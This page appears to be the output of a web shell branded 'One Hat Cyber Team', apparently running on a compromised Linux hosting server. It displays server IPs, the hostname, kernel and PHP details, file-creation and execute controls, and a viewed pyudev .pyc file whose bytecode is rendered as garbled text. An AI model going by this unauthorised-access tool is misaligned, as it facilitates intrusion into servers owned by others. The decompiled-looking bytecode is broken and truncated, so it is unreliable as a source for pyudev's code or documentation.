⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.177
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.9
/
site-packages
/
pyudev
/
__pycache__
/
View File Name :
monitor.cpython-39.pyc
a 8g+^hR @ s d Z ddlmZmZmZmZ ddlZddlZddlm Z ddl mZ ddlm Z ddlmZ ddlmZ dd lmZ dd lmZ G dd deZG d d de ZdS )z pyudev.monitor ============== Monitor implementation. .. moduleauthor:: Sebastian Wiesner
)print_functiondivisionunicode_literalsabsolute_importN)Thread)partial)Device)eintr_retry_call)ensure_byte_string)pipe)pollc @ s e Zd ZdZdd Zdd Zed"ddZed d Z dd Z d#ddZdd Zdd Z dd Zdd Zdd Zdd Zd$ddZdd Zd d! Zd S )%Monitorat A synchronous device event monitor. A :class:`Monitor` objects connects to the udev daemon and listens for changes to the device list. A monitor is created by connecting to the kernel daemon through netlink (see :meth:`from_netlink`): >>> from pyudev import Context, Monitor >>> context = Context() >>> monitor = Monitor.from_netlink(context) Once the monitor is created, you can add a filter using :meth:`filter_by()` or :meth:`filter_by_tag()` to drop incoming events in subsystems, which are not of interest to the application: >>> monitor.filter_by('input') When the monitor is eventually set up, you can either poll for events synchronously: >>> device = monitor.poll(timeout=3) >>> if device: ... print('{0.action}: {0}'.format(device)) ... Or you can monitor events asynchronously with :class:`MonitorObserver`. To integrate into various event processing frameworks, the monitor provides a :func:`selectable
` file description by :meth:`fileno()`. However, do *not* read or write directly on this file descriptor. Instances of this class can directly be given as ``udev_monitor *`` to functions wrapped through :mod:`ctypes`. .. versionchanged:: 0.16 Remove :meth:`from_socket()` which is deprecated, and even removed in recent udev versions. c C s || _ || _|j| _d| _d S )NF)contextZ_as_parameter__libudev_started)selfr Z monitor_p r 2/usr/lib/python3.9/site-packages/pyudev/monitor.py__init__S s zMonitor.__init__c C s | j | d S N)r Zudev_monitor_unrefr r r r __del__Y s zMonitor.__del__udevc C s> |dvrt d||j|t|}|s4td| ||S )a Create a monitor by connecting to the kernel daemon through netlink. ``context`` is the :class:`Context` to use. ``source`` is a string, describing the event source. Two sources are available: ``'udev'`` (the default) Events emitted after udev as registered and configured the device. This is the absolutely recommended source for applications. ``'kernel'`` Events emitted directly after the kernel has seen the device. The device has not yet been configured by udev and might not be usable at all. **Never** use this, unless you know what you are doing. Return a new :class:`Monitor` object, which is connected to the given source. Raise :exc:`~exceptions.ValueError`, if an invalid source has been specified. Raise :exc:`~exceptions.EnvironmentError`, if the creation of the monitor failed. )Zkernelr z8Invalid source: {0!r}. Must be one of "udev" or "kernel"zCould not create udev monitor) ValueErrorformatr Zudev_monitor_new_from_netlinkr EnvironmentError)clsr sourcemonitorr r r from_netlink\ s zMonitor.from_netlinkc C s | j S )z ``True``, if this monitor was started, ``False`` otherwise. Readonly. .. seealso:: :meth:`start()` .. versionadded:: 0.16 )r r r r r started| s zMonitor.startedc C s | j | S )z Return the file description associated with this monitor as integer. This is really a real file descriptor ;), which can be watched and :func:`select.select`\ ed. )r Zudev_monitor_get_fdr r r r fileno s zMonitor.filenoNc C s8 t |}|durt |}| j| || | j| dS )a Filter incoming events. ``subsystem`` is a byte or unicode string with the name of a subsystem (e.g. ``'input'``). Only events originating from the given subsystem pass the filter and are handed to the caller. If given, ``device_type`` is a byte or unicode string specifying the device type. Only devices with the given device type are propagated to the caller. If ``device_type`` is not given, no additional filter for a specific device type is installed. These filters are executed inside the kernel, and client processes will usually not be woken up for device, that do not match these filters. .. versionchanged:: 0.15 This method can also be after :meth:`start()` now. N)r r Z/udev_monitor_filter_add_match_subsystem_devtypeudev_monitor_filter_update)r Z subsystemZdevice_typer r r filter_by s zMonitor.filter_byc C s" | j | t| | j | dS )aR Filter incoming events by the given ``tag``. ``tag`` is a byte or unicode string with the name of a tag. Only events for devices which have this tag attached pass the filter and are handed to the caller. Like with :meth:`filter_by` this filter is also executed inside the kernel, so that client processes are usually not woken up for devices without the given ``tag``. .. udevversion:: 154 .. versionadded:: 0.9 .. versionchanged:: 0.15 This method can also be after :meth:`start()` now. N)r Z!udev_monitor_filter_add_match_tagr r" )r tagr r r filter_by_tag s zMonitor.filter_by_tagc C s | j | | j | dS )a Remove any filters installed with :meth:`filter_by()` or :meth:`filter_by_tag()` from this monitor. .. warning:: Up to udev 181 (and possibly even later versions) the underlying ``udev_monitor_filter_remove()`` seems to be broken. If used with affected versions this method always raises :exc:`~exceptions.ValueError`. Raise :exc:`~exceptions.EnvironmentError` if removal of installed filters failed. .. versionadded:: 0.15 N)r Zudev_monitor_filter_remover" r r r r remove_filter s zMonitor.remove_filterc C s ddl }|dt | dS )a Switch the monitor into listing mode. Connect to the event source and receive incoming events. Only after calling this method, the monitor listens for incoming events. .. note:: This method is implicitly called by :meth:`__iter__`. You don't need to call it explicitly, if you are iterating over the monitor. .. deprecated:: 0.16 Will be removed in 1.0. Use :meth:`start()` instead. r Nz4Will be removed in 1.0. Use Monitor.start() instead.)warningswarnDeprecationWarningstart)r r' r r r enable_receiving s zMonitor.enable_receivingc C s* | j s&| j| t| tj d| _ dS )a Start this monitor. The monitor will not receive events until this method is called. This method does nothing if called on an already started :class:`Monitor`. .. note:: Typically you don't need to call this method. It is implicitly called by :meth:`poll()` and :meth:`__iter__()`. .. seealso:: :attr:`started` .. versionchanged:: 0.16 This method does nothing if the :class:`Monitor` was already started. TN)r r Zudev_monitor_enable_receivingr Zset_fd_status_flagos O_NONBLOCKr r r r r* s z Monitor.startc C s | j | | dS )aN Set the receive buffer ``size``. ``size`` is the requested buffer size in bytes, as integer. .. note:: The CAP_NET_ADMIN capability must be contained in the effective capability set of the caller for this method to succeed. Otherwise :exc:`~exceptions.EnvironmentError` will be raised, with ``errno`` set to :data:`~errno.EPERM`. Unprivileged processes typically lack this capability. You can check the capabilities of the current process with the python-prctl_ module: >>> import prctl >>> prctl.cap_effective.net_admin Raise :exc:`~exceptions.EnvironmentError`, if the buffer size could not bet set. .. versionadded:: 0.13 .. _python-prctl: http://packages.python.org/python-prctl N)r Z$udev_monitor_set_receive_buffer_size)r sizer r r set_receive_buffer_size s zMonitor.set_receive_buffer_sizec C s z"| j | }|rt| j|ndW S ty } zH|jtjtjfv rRW Y d}~dS |jtjkrlW Y d}~q n W Y d}~q d}~0 0 q dS )zReceive a single device from the monitor. Return the received :class:`Device`, or ``None`` if no device could be received. N) r Zudev_monitor_receive_devicer r r errnoZEAGAINZEWOULDBLOCKZEINTR)r Zdevice_perrorr r r _receive_device s zMonitor._receive_devicec C sH |dur|dkrt |d }| ttj| dfj|rD| S dS )a Poll for a device event. You can use this method together with :func:`iter()` to synchronously monitor events in the current thread:: for device in iter(monitor.poll, None): print('{0.action} on {0.device_path}'.format(device)) Since this method will never return ``None`` if no ``timeout`` is specified, this is effectively an endless loop. With :func:`functools.partial()` you can also create a loop that only waits for a specified time:: for device in iter(partial(monitor.poll, 3), None): print('{0.action} on {0.device_path}'.format(device)) This loop will only wait three seconds for a new device event. If no device event occurred after three seconds, the loop will exit. ``timeout`` is a floating point number that specifies a time-out in seconds. If omitted or ``None``, this method blocks until a device event is available. If ``0``, this method just polls and will never block. .. note:: This method implicitly calls :meth:`start()`. Return the received :class:`Device`, or ``None`` if a timeout occurred. Raise :exc:`~exceptions.EnvironmentError` if event retrieval failed. .. seealso:: :attr:`Device.action` The action that created this event. :attr:`Device.sequence_number` The sequence number of this event. .. versionadded:: 0.16 Nr i r)intr* r r Poll for_eventsr2 )r timeoutr r r r 2 s ,zMonitor.pollc C s&